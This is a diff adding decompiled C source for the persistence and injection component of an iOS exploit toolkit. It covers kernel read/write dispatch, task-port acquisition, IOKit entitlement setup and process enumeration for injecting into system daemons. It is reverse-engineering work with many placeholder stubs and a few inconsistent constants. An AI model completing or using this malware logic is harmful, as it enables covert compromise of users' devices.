kern_str_; + + if ((os_ver & 0xFE0000) > 0xD0000) { + uint32_t name[2] = { CTL_KERN, KERN_VERSION }; + size_t len = 0x200; + if (sysctl((int *)name, 2, kern_str, &len, NULL, 0) != 0) { + print_log("[bootstrap] init_system_info: sysctl kern FAIL"); + return -2; + } + } else { + if (host_kernel_version(mach_host_self(), kern_str) != 0) + return -2; + } + + print_log("[bootstrap] init_system_info: kernel=%s", kern_str); + + if (!strstr(kern_str, "RELEASE")) { + print_log("[bootstrap] init_system_info: kernel is not RELEASE"); + return -3; + } + + if (!(kern_str = strstr(kern_str, "xnu-"))) { + print_log("[bootstrap] init_system_info: kernel does not contain xnu-"); + return -4; + } + + uint32_t xnu_maj = 0, xnu_min = 0, xnu_rev = 0, xnu_bld = 0, xnu_sub = 0; + if (sscanf(kern_str, "xnu-%d.%d.%d.%d.%d%*s", + &xnu_maj, &xnu_min, &xnu_rev, &xnu_bld, &xnu_sub) <= 2) { + print_log("[bootstrap] init_system_info: kernel version parsing failed"); + //return -5; + } + + ctx->kernel_version = (xnu_maj << 18) | (xnu_min << 9) | xnu_rev; + + uint64_t xv = ((uint64_t)(xnu_maj & 0x7FFF) << 20) | + ((uint64_t)xnu_min << 10) | + (uint64_t)(xnu_rev & 0x3FF); + xv = (xv << 20) | ((uint64_t)(xnu_bld << 10) & 0xFFC00) | + (uint64_t)(xnu_sub & 0x3FF); + ctx->xnu_version = xv; + + uint8_t dev_type; + if (check_device_b(&dev_type) != 0) { + print_log("[bootstrap] init_system_info: check_device_b FAIL"); + return ret; + } + ctx->flag_is_release = dev_type; + + uint8_t dev_a; + if (check_device_a(&dev_a) != 0) { + print_log("[bootstrap] init_system_info: check_device_a FAIL"); + return ret; + } + + ctx->flag_device_type = dev_a; + + uint8_t new_ios = 0; + if (soc_ver == 0x01000C && soc_sub >= 2) { + uint8_t major = (os_ver >> 16) & 0xFF; + if (major > 12) { + new_ios = 1; + } else if (major == 12) { + new_ios = ((os_ver & 0xFF00) != 0) ? 1 : 0; + } + } + ctx->flag_new_ios = new_ios; + + uint8_t a15_feat = 0; + if (dev_a) { + uint32_t ver = ctx->os_version; + if ((ver >> 10) >= 0x3C1) { + uint32_t cpu = ctx->cpu_type; + if (cpu == SOC_TYPE_A || cpu == SOC_TYPE_B || cpu == SOC_TYPE_F) { + a15_feat = 1; + } + } + } + ctx->flag_a15_features = a15_feat; + + print_log("[bootstrap] init_system_info: OK os=0x%x new_ios=%d dev_a=%d a15=%d", os_ver, new_ios, dev_a, a15_feat); + return 0; +} diff --git a/src/entry2/dlsym.c b/src/entry2/dlsym.c new file mode 100644 index 0000000..850e8ea --- /dev/null +++ b/src/entry2/dlsym.c @@ -0,0 +1,139 @@ +/* + * dlsym.c - Custom symbol resolution from F00DBEEF containers + * + * Decompiled from entry2_type0x0f.dylib offsets 0x1dbc0–0x1dd60 + * + * Instead of using the standard dlsym(), entry2 has its own symbol + * resolution mechanism that works with F00DBEEF-formatted containers. + * This is used to resolve "_driver" from the type0x09 LOADER dylib + * without going through dyld. + */ + +#include "entry2.h" +#include +#include + +/* ── e2_create_resolver (0x1dbc0) ────────────────────────────────── * + * Creates a symbol resolver object (0x38 bytes) that can look up + * symbols from a loaded dylib's export trie or symbol table. + * + * The resolver wraps an internal dyld handle obtained via 0x1e748 + * (likely _dyld_process_info_create or similar) and populates a + * vtable with PAC-signed lookup functions. + * + * Vtable layout (0x38 bytes): + * +0x00: flags (0x10001) + * +0x08: dyld_handle (from internal dyld query) + * +0x10: fn_lookup — resolves a symbol name to address + * +0x18: fn_iterate — iterate exports + * +0x20: fn_info — get module info + * +0x28: fn_close — cleanup + * +0x30: fn_query — query capabilities + */ +kern_return_t e2_create_resolver(symbol_resolver_t **out) +{ + if (!out) + return E2_ERR_NULL; + + /* Get internal dyld handle */ + void *dyld_handle = NULL; + kern_return_t kr; + + /* 0x1e748: queries dyld internals — likely uses + * _dyld_process_info_create / _dyld_process_info_for_each_image + * to enumerate loaded images */ + kr = /* e2_get_dyld_handle */ 0; /* placeholder: 0x1e748(&dyld_handle) */ + if (kr != KERN_SUCCESS) + return kr; + + symbol_resolver_t *resolver = calloc(1, 0x38); + if (!resolver) { + /* cleanup dyld_handle: 0x1e688 */ + return E2_ERR_ALLOC; + } + + resolver->flags = 0x10001; + resolver->dyld_handle = dyld_handle; + + /* PAC-sign each vtable function pointer with paciza. + * These are at relative offsets from the adr instructions: + * +0x10: adr x16, #+428 → lookup function + * +0x18: adr x16, #+544 → iterate function + * +0x20: adr x16, #+716 → info function + * +0x28: adr x16, #+828 → close function + * +0x30: adr x16, #+1048 → query function + */ + /* resolver->fn_lookup = paciza(lookup_func); + * resolver->fn_18 = paciza(iterate_func); + * resolver->fn_20 = paciza(info_func); + * resolver->fn_28 = paciza(close_func); + * resolver->fn_30 = paciza(query_func); */ + + *out = resolver; + return KERN_SUCCESS; +} + +/* ── e2_custom_dlsym (0x1dc98) ───────────────────────────────────── * + * Custom dlsym implementation that resolves symbols from F00DBEEF + * containers. This is the mechanism used to resolve "_driver" from + * the type0x09 LOADER. + * + * Flow: + * 1. Validate the container has F00DBEEF magic + * 2. Check bounds: entry_count * 16 + 8 must fit in size + * 3. Create a resolver via e2_create_resolver + * 4. Call the resolver's lookup function to find the symbol + * 5. Store result in the output object + * + * Parameters: + * output — receives the parsed container/module context + * container — raw F00DBEEF container data from type0x09 + * size — byte length of container data + */ +kern_return_t e2_custom_dlsym(void *output, void *container, uint32_t size) +{ + if (!output || !container || !size) + return E2_ERR_NULL; + + /* Minimum size: magic(4) + count(4) + 1 entry = 9 bytes */ + if (size < 9) + return E2_ERR_BAD_MAGIC; + + /* Validate F00DBEEF magic */ + foodbeef_container_t *hdr = (foodbeef_container_t *)container; + if (hdr->magic != MAGIC_FOODBEEF) + return E2_ERR_BAD_MAGIC; + + /* Get entry count and validate bounds */ + if (hdr->entry_count == 0) + return E2_ERR_BAD_MAGIC; + + /* Each entry is 16 bytes (foodbeef_entry_t), header is 8 bytes */ + uint64_t required = sizeof(foodbeef_container_t) + + ((uint64_t)hdr->entry_count * sizeof(foodbeef_entry_t)); + if (required > (uint64_t)size) + return E2_ERR_BAD_MAGIC; + + /* Create a symbol resolver */ + symbol_resolver_t *resolver = NULL; + kern_return_t kr = e2_create_resolver(&resolver); + if (kr != KERN_SUCCESS) + return kr; + + /* Use the resolver's lookup function to process the container */ + kr = resolver->fn_lookup(resolver->dyld_handle, container, size); + + if (kr != KERN_SUCCESS) { + /* Cleanup resolver on failure */ + /* e2_destroy_resolver(resolver); — at 0x1dd68 */ + return kr; + } + + /* Success — store parsed result in output. + * The resolver remains alive; the output object now holds + * a reference to the resolved module context which can be + * used to call fn_dlsym (offset 0x30) on the module. */ + + /* ... further processing to extract symbol table ... */ + return KERN_SUCCESS; +} diff --git a/src/entry2/driver.c b/src/entry2/driver.c new file mode 100644 index 0000000..871eb4b --- /dev/null +++ b/src/entry2/driver.c @@ -0,0 +1,592 @@ +/* + * driver.c - Driver backend initialization and management + * + * Decompiled from entry2_type0x0f.dylib offsets 0x182a8–0x18740, + * 0xc094–0xc3fc, 0xba30–0xbdd0, 0xb854–0xb970 + * + * The driver backend is the bridge between the krw provider and the + * actual kernel exploitation primitives in type0x09. It handles: + * - Finding dyld's base address via page scanning + * - Extracting the kernel version from Mach-O headers + * - Setting up IOKit user client connections + * - Dispatching kernel reads/writes through the driver + */ + +#include "entry2.h" +#include +#include +#include +#include +#include +#include +#include +#include + +/* Private syscall — no public header */ +extern int csops(pid_t pid, unsigned int ops, void *useraddr, size_t usersize); + +/* ── e2_init_driver_backend (0x182a8) ────────────────────────────── * + * Heavy initialization of the driver backend context (0x178 bytes). + * + * This function: + * 1. Gets process info via _NSGet* functions + * 2. Finds dyld base address by scanning backwards from dladdr + * 3. Extracts kernel version from dyld's Mach-O header + * 4. Opens /usr/lib/system/libcache.dylib + * 5. Initializes symbol resolver and Mach-O parser + * 6. Sets up IOKit user client connection + */ +kern_return_t e2_init_driver_backend(driver_backend_t *out, driver_t *driver, + void *target, const char *extra) +{ + if (!out) + return E2_ERR_NULL; + + if (!driver) { + if (!target) return E2_ERR_NULL; + } + + /* Allocate backend context */ + driver_backend_t *backend = calloc(1, 0x178); + if (!backend) return E2_ERR_ALLOC; + + /* + * Step 1: Get process information + * + * These _NSGet* functions provide access to the program's + * argc/argv/environ without going through main(). This works + * even in injected dylibs. + */ + extern void *_NSGetMachExecuteHeader(void); + extern int *_NSGetArgc(void); + extern char ***_NSGetArgv(void); + extern char ***_NSGetEnviron(void); + extern const char **_NSGetProgname(void); + + backend->mach_header = _NSGetMachExecuteHeader(); /* +0xC8 */ + backend->argc_ptr = _NSGetArgc(); /* +0xD0 */ + backend->argv_ptr = _NSGetArgv(); /* +0xD8 */ + backend->environ_ptr = _NSGetEnviron(); /* +0xE0 */ + backend->progname_ptr = (void *)_NSGetProgname(); /* +0xE8 */ + + if (!backend->mach_header || !backend->argc_ptr || + !backend->argv_ptr || !backend->environ_ptr) { + free(backend); + return E2_ERR_INIT; + } + + if (!backend->progname_ptr) { + free(backend); + return E2_ERR_INIT; + } + + /* + * Step 2: Check sandbox status + * + * Calls a function (0x184d0) that checks if the process is + * sandboxed. This affects which IOKit operations are available. + */ + uint8_t sandbox_result = 0; + kern_return_t kr = 0; /* e2_check_sandbox(&backend->sandbox_result) */ + if (kr != KERN_SUCCESS) { + free(backend); + return kr; + } + + /* Check extra config flags */ + if (extra && *extra) { + /* Additional device-specific initialization (0x19e0c) */ + /* This checks SoC type and adjusts behavior */ + } + + /* + * Step 3: Find dyld base address by scanning memory + * + * Takes the PAC-stripped address of dladdr, rounds down to page + * boundary, then scans backwards page-by-page looking for + * MH_MAGIC_64 (0xFEEDFACF). + * + * asm equivalent: + * ldr x16, [dladdr_got] + * paciza x16 + * mov x30, x16 + * xpaclri // strip PAC from dladdr ptr + * and x8, x30, #~0xFFF // page-align + * ldr w10, [x8] // read first word + * sub x8, x8, #0x1000 // go back one page + * cmp w10, #0xFEEDFACF // MH_MAGIC_64? + * b.ne loop + * + * Once found, extract kernel version from the Mach-O header at + * offset +0x1008, masked to lower 24 bits. + */ + Dl_info dlinfo; + void *dladdr_ptr = (void *)dladdr; /* get dladdr's own address */ + uint64_t stripped = e2_strip_pac((uint64_t)dladdr_ptr); + uint64_t page = stripped & ~0xFFFULL; + + /* Scan backwards for MH_MAGIC_64 */ + while (*(uint32_t *)page != MAGIC_MH64) { + page -= 0x1000; + } + /* dyld base found at 'page' */ + + /* Extract kernel version from dyld header + 0x1008 */ + uint32_t kver = *(uint32_t *)(page + 0x1008); + backend->kern_version = kver & 0xFFFFFF; + + /* + * Step 4: Set up target binding + * + * If we have a driver ref and target, check whether we own + * the target allocation (owns_target flag at +0x10). + * + * If owns_target is true and the target has a release function + * at offset +0x18, we'll call it during cleanup. + */ + bool owns_target = (driver != NULL && target == NULL); + backend->driver_ref = driver; + backend->target_binding = target; + backend->owns_target = owns_target; + + /* Copy extra config flags */ + if (extra) { + backend->flags_1c = *(uint8_t *)extra; + } + + /* + * Step 5: Open libcache.dylib + * + * This is loaded with RTLD_NOLOAD (0x12) which only succeeds + * if already in memory. libcache provides cache management APIs + * used by the symbol resolver. + */ + void *libcache = dlopen("/usr/lib/system/libcache.dylib", 0x12); + backend->libcache_handle = libcache; + + /* + * Step 6: Initialize subsystems + * + * Calls two initialization functions: + * 0x13d84: Mach-O parser init — sets up structures for parsing + * the target binary's load commands, segments, etc. + * 0x1b83c: Symbol resolver init — builds a symbol table for + * fast lookups in loaded dylibs. + * + * If either fails, falls back to 0x14714 (minimal init). + */ + kr = 0; /* e2_init_macho_parser(backend) at 0x13d84 */ + if (kr != KERN_SUCCESS) { + if (owns_target) { + /* Release target binding: call target[0x20](target, binding) */ + } + free(backend); + return kr; + } + + kr = 0; /* e2_init_symbol_resolver(backend) at 0x1b83c */ + if (kr != KERN_SUCCESS) { + /* Fallback to minimal init: 0x14714 */ + if (owns_target) { + /* Release target binding */ + } + free(backend); + return kr; + } + + /* Success — store backend pointer */ + /* *out = backend; */ + return KERN_SUCCESS; +} + +/* ── e2_driver_cleanup (0xc094) ──────────────────────────────────── * + * Cleans up a driver connection context. + * + * Cleanup order: + * 1. Free IOKit buffers (0xcd00) if present at +0x30 + * 2. Close file descriptors (0xfd4c) at +0x28 + * 3. Close IOKit connection (0xe178) at +0x18 + * 4. If owns_target (+0x08), destroy connection internals (0x185d0) + * 5. Zero out and free the context + */ +kern_return_t e2_driver_cleanup(void *driver_ctx) +{ + if (!driver_ctx) return E2_ERR_NULL; + + kern_return_t result = KERN_SUCCESS; + + /* +0x30: IOKit buffers — cleanup via 0xcd00 */ + void *iokit_buf = *((void **)driver_ctx + 6); /* offset 0x30 */ + if (iokit_buf) { + /* e2_cleanup_iokit_buffers(iokit_buf) at 0xcd00 */ + free(iokit_buf); + } + + /* +0x28: file descriptors — close via 0xfd4c */ + void *fd_ptr = *((void **)driver_ctx + 5); /* offset 0x28 */ + kern_return_t kr1 = 0; /* e2_close_fds(fd_ptr) */ + + /* +0x18: IOKit connection — close via 0xe178 */ + void *iokit_conn = *((void **)driver_ctx + 3); /* offset 0x18 */ + kern_return_t kr2 = 0; /* e2_close_iokit(iokit_conn) */ + if (result == KERN_SUCCESS) result = kr2; + + /* +0x08: owns_target flag */ + uint8_t owns = *((uint8_t *)driver_ctx + 8); + if (owns) { + void *conn = *(void **)driver_ctx; + /* e2_destroy_conn_internals(conn) at 0x185d0 */ + if (result == KERN_SUCCESS) result = 0; /* kr from destroy */ + } + + /* Zero and free */ + *((void **)driver_ctx + 6) = NULL; /* clear +0x30 */ + memset(driver_ctx, 0, 0x30); + free(driver_ctx); + + return result; +} + +/* ── e2_driver_connect (0xc12c) ──────────────────────────────────── * + * Establishes a connection to the IOKit driver backend. + * + * This validates the Mach-O magic of the loaded driver and + * sets up the IOKit user client connection: + * + * 1. Checks code signing via csops (on older iOS via CS_OPS_CDHASH, + * on newer iOS via CS_OPS_STATUS) + * 2. Gets memory mapping info via the driver's alloc function + * (offset +0x18) with flags 0xF0000 + * 3. Validates Mach-O magic: FEEDFACF, CAFEBABE, BEBAFECA, CEFAEDFE + * 4. Allocates driver context (0x38 bytes) for the connection + * 5. Sets up IOKit entitlements for IOSurface/AGX user client access + * 6. Calls through to driver's external method handler + */ +kern_return_t e2_driver_connect(void *dest, void *driver_ref, + void *target, void *binding) +{ + if (!dest || !target) + return E2_ERR_NULL; + + /* Validate target descriptor version */ + uint16_t ver = *(uint16_t *)target; + if (ver != 1) return E2_ERR_NULL; + uint16_t cnt = *(uint16_t *)((uint8_t *)target + 2); + if (cnt == 0) return E2_ERR_NULL; + + /* + * Check code signing status + * + * On iOS >= 15.x (detected via dyldVersionNumber comparison), + * uses CS_OPS_CDHASH (5) with 20-byte hash output. + * On older iOS, uses CS_OPS_STATUS (0) with 4-byte output. + * + * This determines if the process has valid signatures, + * which affects what IOKit connections are permitted. + */ + pid_t pid = getpid(); + uint8_t cs_info[20] = {0}; + + extern double dyldVersionNumber; + if (dyldVersionNumber >= /* threshold */(double)0) { + /* Newer path: CS_OPS_CDHASH */ + int cs_result = csops(pid, 5 /* CS_OPS_CDHASH */, cs_info, 20); + if (cs_result < 0) { + int err = errno; + if (err != 28 /* ENOSPC */) return err | 0x40000000; + } + } else { + /* Older path: CS_OPS_STATUS */ + int cs_result = csops(pid, 0 /* CS_OPS_STATUS */, cs_info + 12, 4); + if (cs_result < 0) return 0; /* errno based error */ + } + + /* + * Get memory mapping from driver + * + * Calls the target's allocation function (offset +0x18) with + * flags 0xF0000 to get a memory region for the driver connection. + */ + void *mapping = NULL; + uint32_t mapping_size = 0; + /* target->fn_alloc(target, 0xF0000, &mapping, &mapping_size) */ + + if (!mapping || mapping_size < 0x21) + return E2_ERR_NULL; + + /* + * Validate Mach-O magic of the loaded driver + * + * Accepts: MH_MAGIC_64 (FEEDFACF), FAT_MAGIC (CAFEBABE/BEBAFECA), + * MH_CIGAM_64 (CEFAEDFE/CFFAEDFE/CFFAEDFD) + * Also accepts: 0x11205325 range (signed 64-bit Mach-O variants) + */ + uint32_t magic = *(uint32_t *)mapping; + bool valid_magic = (magic == MAGIC_MH64 || + magic == MAGIC_FAT_BE || + magic == MAGIC_FAT_LE || + magic == MAGIC_MH64_LE || + magic == MAGIC_MH64_BE || + magic == MAGIC_MH64_BE2); + if (!valid_magic) + return E2_ERR_NULL; + + /* + * Allocate driver connection context (0x38 bytes) + * + * If binding is provided (version=2, methods>=2), allocates + * a binding context (0x10 bytes) and copies the reference. + * + * Otherwise, checks for sandbox restrictions (0x184d0) and + * allocates a plain context. + */ + void *conn_ctx = calloc(1, 0x38); + if (!conn_ctx) return E2_ERR_ALLOC; + + if (binding) { + /* Binding context: allocate and store reference */ + void *bind_ctx = calloc(1, 0x10); + if (!bind_ctx) { + free(conn_ctx); + return E2_ERR_ALLOC; + } + *(void **)bind_ctx = binding; + + /* Set up IOKit entitlements via the binding's connect function + * (0xe2dc), using the entitlement XML strings: + * + * For IOKit: + * com.apple.security.iokit-user-client-class + * IOSurfaceRootUserClient + * AGXDeviceUserClient + * + * For task_for_pid: + * task_for_pid-allow + */ + } else { + /* No binding — check sandbox first */ + uint8_t sb = 0; + /* e2_check_sandbox_status(&sb) at 0x184d0 */ + if (sb) return E2_ERR_CSOPS; + } + + /* Store in output */ + *(void **)dest = conn_ctx; + return KERN_SUCCESS; +} + +/* ── e2_krw_dispatch (0xba30) ────────────────────────────────────── * + * Core KRW dispatch function — process enumeration + kernel read. + * + * This is the heavyweight function (~700 instructions) that: + * 1. Resolves the target path (strrchr '/' or realpath) + * 2. Creates NSConcreteStackBlock callbacks for process iteration + * 3. Uses sysctl(CTL_KERN, KERN_PROC, KERN_PROC_ALL) to get + * the full process list + * 4. Iterates through each kinfo_proc (0x288 bytes each) + * 5. For matching processes, invokes the callback block + * 6. The callback reads kernel task structures and extracts ports + * + * The NSConcreteStackBlock usage is notable: it creates Objective-C + * compatible block objects on the stack, with PAC-signed invoke + * pointers (pacia x16, x15 where x15 = block + 0x10). + */ +kern_return_t e2_krw_dispatch(uint64_t arg0, ...) +{ + const char *target_path = (const char *)arg0; + /* Note: additional args extracted from va_list depending on operation. + * For simplicity, the dispatch logic below shows the process-enum path + * (called from kread with arg0=kaddr, arg1=3). */ + if (!target_path) + return E2_ERR_RESOLVE; + + /* Validate target_path is non-empty */ + if (((uint8_t *)target_path)[0] == 0) + return E2_ERR_RESOLVE; + + /* Extract flags from varargs (second argument) */ + va_list ap; + va_start(ap, arg0); + uint32_t flags = va_arg(ap, uint32_t); + va_end(ap); + + /* Resolve path: if flags & 1, use realpath; else use basename */ + char *resolved = NULL; + const char *search_name = target_path; + + if (flags & 1) { + resolved = realpath(target_path, NULL); + if (!resolved) { + if (((uint8_t *)target_path)[0] == 0) + return E2_ERR_RESOLVE; + search_name = target_path; + } else { + search_name = resolved; + } + } else { + /* Find basename by looking for last '/' */ + const char *slash = strrchr(target_path, '/'); + search_name = slash ? slash + 1 : target_path; + if (*search_name == 0) + return E2_ERR_RESOLVE; + } + + /* + * Build stack blocks for process iteration. + * + * Block 1 (sp+0x08): per-process callback + * isa = _NSConcreteStackBlock (PAC-signed with pacda) + * flags = 0xC2000000 (from constant pool at 0x1ef80) + * invoke = pacized function pointer + * descriptor = pointer to block descriptor + * captures: search flags, path buffers + * + * Block 2 (sp+0xb8): inner iteration callback + * Similar structure, captures block 1 and output buffer + */ + + /* Query process list size */ + int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 }; + size_t proc_buf_size = 0; + + if (sysctl(mib, 4, NULL, &proc_buf_size, NULL, 0) != 0) + goto fail; + + if (proc_buf_size == 0) + return KERN_SUCCESS; + + /* Allocate and fetch process list */ + void *proc_buf = malloc(proc_buf_size * 2); /* 2x for safety */ + if (!proc_buf) goto fail; + + proc_buf_size *= 2; + if (sysctl(mib, 4, proc_buf, &proc_buf_size, NULL, 0) != 0) { + bzero(proc_buf, proc_buf_size); + free(proc_buf); + goto fail; + } + + /* + * Iterate through kinfo_proc entries. + * + * Each entry is 0x288 bytes (struct kinfo_proc on arm64). + * For each entry, invoke the callback block which: + * 1. Compares the process name + * 2. If matched, reads kernel task port via krw + * 3. Stores the port in the output + */ + uint32_t num_procs = (uint32_t)(proc_buf_size / 0x288); + if (num_procs == 0) { + bzero(proc_buf, proc_buf_size); + free(proc_buf); + return KERN_SUCCESS; + } + + kern_return_t result = E2_ERR_SYSCTL; + for (uint32_t i = 0; i < num_procs; i++) { + void *entry = (uint8_t *)proc_buf + (i * 0x288); + + /* Call block2->invoke(block2, entry) with PAC auth */ + /* result = block_invoke(entry); */ + if (result == KERN_SUCCESS) + break; + } + + /* Check if we found the target */ + if (result == KERN_SUCCESS) { + /* Read port from block capture */ + /* *out_port = captured_port; */ + } + + /* Cleanup */ + bzero(proc_buf, proc_buf_size); + free(proc_buf); + + /* Cleanup resolved path */ + if (resolved) { + size_t len = strlen(resolved); + if (len) bzero(resolved, len); + free(resolved); + } + + return result; + +fail: + if (resolved) { + size_t len = strlen(resolved); + if (len) bzero(resolved, len); + free(resolved); + } + return E2_ERR_SYSCTL; +} + +/* ── e2_get_task_port (0xb854) ───────────────────────────────────── * + * Gets a task port via Mach IPC. + * + * Sends a command message (type 5) and receives back: + * - Port right type at offset 0x18 + * - Port send count at offset 0x1C + * - The task port itself at offset 0x08 + * + * The task port is a mach_port_t that can be used for: + * - mach_vm_allocate / mach_vm_write / mach_vm_protect + * - thread_create_running + * - task_info + */ +kern_return_t e2_get_task_port(mach_port_t port, void *out_rights, + void *arg2, void *out_port, void *arg4) +{ + if (port + 1 < 2) + return E2_ERR_VM_FAIL - 0x1D; + + /* Allocate response buffer */ + void *response = calloc(1, 0x28); + if (!response) return E2_ERR_GENERIC; + + /* Send IPC command via 0xcea4 (mach_msg send with type 5) */ + kern_return_t kr; + kr = 0; /* e2_ipc_command(port, 5, 0x28, response, cmd) at 0xcea4 */ + + if (kr != KERN_SUCCESS) goto cleanup; + + /* Validate response */ + uint32_t resp_type = ((uint32_t *)response)[5]; /* offset 0x14 */ + if (resp_type != 5) { + kr = E2_ERR_VM_FAIL; + goto cleanup; + } + + uint32_t resp_size = ((uint32_t *)response)[1]; /* offset 0x04 */ + if (resp_size != 0x20) { + kr = E2_ERR_VM_FAIL; + goto cleanup; + } + + /* Extract results */ + if (out_rights) { + *(uint32_t *)out_rights = ((uint32_t *)response)[6]; /* offset 0x18 */ + } + /* arg2 corresponds to out_type in the original 7-arg version, + * but krw_get_port passes NULL here (x2 = 0) */ + if (arg2) { + *(uint32_t *)arg2 = ((uint32_t *)response)[7]; /* offset 0x1C */ + } + + kr = KERN_SUCCESS; + + if (out_port) { + *(uint32_t *)out_port = ((uint32_t *)response)[2]; /* offset 0x08 */ + /* Clear the port from response to prevent double-dealloc */ + ((uint32_t *)response)[2] = 0; + } + +cleanup: + ; + /* Deallocate any port rights in response */ + uint32_t resp_port = ((uint32_t *)response)[2]; + if (resp_port + 1 >= 2) { + mach_port_deallocate(mach_task_self(), resp_port); + } + free(response); + return kr; +} diff --git a/src/entry2/entry2.h b/src/entry2/entry2.h new file mode 100644 index 0000000..d0c88ce --- /dev/null +++ b/src/entry2/entry2.h @@ -0,0 +1,480 @@ +/* + * entry2.h - Decompiled header for entry2_type0x0f.dylib + * + * Reverse-engineered from the arm64e binary at: + * payloads/377bed7460f7538f96bbad7bdc2b8294bdc54599/entry2_type0x0f.dylib + * + * This dylib is the persistence/injection component of the Coruna toolkit. + * It obtains kernel read/write primitives from type0x09 (LOADER) via its + * exported _driver symbol, then uses those primitives to inject the MODULE + * (type0x08) into target system daemons. + * + * Exports: _end, _last + */ + +#ifndef ENTRY2_H +#define ENTRY2_H + +#include +#include +#include +#include +#include + +/* ── Error codes (observed constants) ──────────────────────────────── */ + +#define E2_ERR_NULL 0x000AD001 /* null argument */ +#define E2_ERR_GENERIC 0x000AD009 +#define E2_ERR_ALLOC (E2_ERR_GENERIC + 8) /* 0x000AD011, matches bootstrap ERR_ALLOC */ +#define E2_ERR_BAD_MAGIC 0x700B /* note: bootstrap uses 0x700C */ +#define E2_ERR_NO_CONTAINER 0x7003 +#define E2_ERR_NO_DRIVER 0x5005 +#define E2_ERR_BAD_VERSION (E2_ERR_NULL + 9) /* 0x000AD00A */ +#define E2_ERR_STAGE 0x0001F039 /* stage validation */ +#define E2_ERR_IPC_BASE 0x0001E023 +#define E2_ERR_IPC_TIMEOUT (E2_ERR_IPC_BASE + 0x18) +#define E2_ERR_MSG_INVALID 0x0001E03A +#define E2_ERR_MACH_MSG 0x0001F037 +#define E2_ERR_VM_FAIL 0x0001E038 +#define E2_ERR_CSOPS 0x0001E037 +#define E2_ERR_INIT 0x0001200F +#define E2_ERR_NO_FUNC (E2_ERR_NULL + 0xF) +#define E2_ERR_TASK_INFO 0x0001E01D +#define E2_ERR_RESOLVE 0x0001E03F +#define E2_ERR_SYSCTL 0x000AD00B + +/* ── Magic values ─────────────────────────────────────────────────── */ + +#define MAGIC_FOODBEEF 0xF00DBEEF +#define MAGIC_MH64 0xFEEDFACF /* MH_MAGIC_64 */ +#define MAGIC_FAT_LE 0xBEBAFECA /* FAT_MAGIC */ +#define MAGIC_FAT_BE 0xCAFEBABE /* FAT_CIGAM */ +#define MAGIC_MH64_LE 0xCEFAEDFE +#define MAGIC_MH64_BE 0xCFFAEDFE +#define MAGIC_MH64_BE2 0xCFFAEDFD + +/* ── Mach trap numbers (raw svc #0x80 wrappers at 0x6000) ─────────── */ + +#define MACH_TRAP_MACH_VM_DEALLOCATE (-12) /* 0x6080 */ +#define MACH_TRAP_MACH_PORT_DEALLOCATE (-18) /* 0x6068 */ +#define MACH_TRAP_MACH_PORT_MOD_REFS (-19) /* 0x6098 */ +#define MACH_TRAP_MACH_REPLY_PORT (-24) /* 0x6038 */ +#define MACH_TRAP_THREAD_SELF (-26) /* 0x6044 */ +#define MACH_TRAP_TASK_SELF (-27) /* 0x6050 */ +#define MACH_TRAP_HOST_SELF (-28) /* 0x605c */ +#define MACH_TRAP_MACH_MSG (-31) /* 0x6074 */ +#define MACH_TRAP_PID_FOR_TASK (-47) /* 0x6080 */ + +/* BSD syscalls */ +#define SYS_GUARDED_OPEN_DPROTECTED 360 /* 0x6000 */ +#define SYS_GUARDED_WRITE 361 /* 0x601c */ + +/* ── IOKit entitlement strings (in __cstring) ─────────────────────── */ + +/* + * "com.apple.security.iokit-user-client-class" + * "IOSurfaceRootUserClient" + * "AGXDeviceUserClient" + * + * "task_for_pid-allow" + */ + +/* ── Driver object returned by type0x09's _driver() ───────────────── * + * This is the same structure as module_vtable_t in bootstrap.h. + * Bootstrap PAC-strips all function pointers at +0x10..+0x48 + * after receiving this from _driver(). Entry2 validates + * version==2 and method_count>=2 before use. + * + * Layout confirmed from bootstrap.dylib disassembly at 0x870c–0x878c: + * ldr x0, [x8, #0x10] → strip_pac → str x0, [x8, #0x10] (fn_deinit) + * ldr x0, [x8, #0x18] → strip_pac → str x0, [x8, #0x18] (fn_init) + * ...through +0x48 + */ +typedef struct driver { + uint16_t version; /* +0x00: must be 2 */ + uint16_t method_count; /* +0x02: number of methods, must be >= 2 */ + uint64_t _pad; /* +0x04: 8 bytes padding (+4 implicit alignment) */ + void *fn_deinit; /* +0x10: module deinit */ + void *fn_init; /* +0x18: module init */ + void *fn_cleanup; /* +0x20: cleanup handler */ + void *fn_command; /* +0x28: command dispatch */ + void *fn_30; /* +0x30: additional method */ + void *fn_38; /* +0x38: additional method */ + void *fn_40; /* +0x40: additional method */ + void *fn_48; /* +0x48: additional method */ +} driver_t; + +/* ── Connection to type0x09 LOADER ────────────────────────────────── */ + +typedef struct type09_connection { + void *context; /* +0x00: internal driver context (driver_backend_t*) */ + void *target_info; /* +0x08: bound target descriptor (driver_t*) */ + void *driver_ref; /* +0x10: driver reference for connect (validated in 0x11488) */ + void *driver_conn; /* +0x18: active driver connection handle */ +} type09_connection_t; /* 0x20 bytes total */ + +/* ── Type0x09 vtable (created at 0x105a4) ─────────────────────────── */ + +typedef struct type09_vtable { + uint32_t flags; /* +0x00: 0x20002 */ + uint32_t _pad; + void *context; /* +0x08: type09_connection_t* */ + void (*fn_close)(void*); /* +0x10: close/cleanup */ + void (*fn_alloc)(void*, uint32_t flags, void **out, void *extra); + /* +0x18: allocate memory in type0x09 */ + void (*fn_dealloc)(void*);/* +0x20: deallocate */ + void (*fn_query)(void*); /* +0x28: query info */ + void (*fn_dlsym)(void *ctx, const char *name, void **out); + /* +0x30: resolve symbol from type0x09 */ + void (*fn_38)(void*); /* +0x38 */ + void (*fn_40)(void*); /* +0x40 */ + void (*fn_48)(void*); /* +0x48 */ +} type09_vtable_t; + +/* ── KRW provider vtable (created at 0x11298) ─────────────────────── */ + +typedef struct krw_provider { + uint32_t flags; /* +0x00: 0x10003 */ + uint32_t _pad; + void *context; /* +0x08: type09_connection_t* */ + + /* All function pointers are PAC-signed with paciza */ + + kern_return_t (*close)(void *self); + /* +0x10: 0x11510 — destroy provider, free memory */ + + kern_return_t (*bind)(void *self, void *target); + /* +0x18: 0x115a8 — bind to target process descriptor */ + + kern_return_t (*unbind)(void *self); + /* +0x20: 0x11634 — unbind from target, cleanup driver */ + + kern_return_t (*get_info)(void *self); + /* +0x28: 0x11704 — get driver info via csops */ + + kern_return_t (*open_rw)(void *self, const char *name, + uint32_t name_len, uint32_t flags, void **out); + /* +0x30: 0x11720 — open a kernel r/w channel */ + + kern_return_t (*kread)(void *self, uint64_t kaddr, uint32_t type); + /* +0x38: 0x1183c — kernel virtual read (dispatch → 0xba30) */ + + kern_return_t 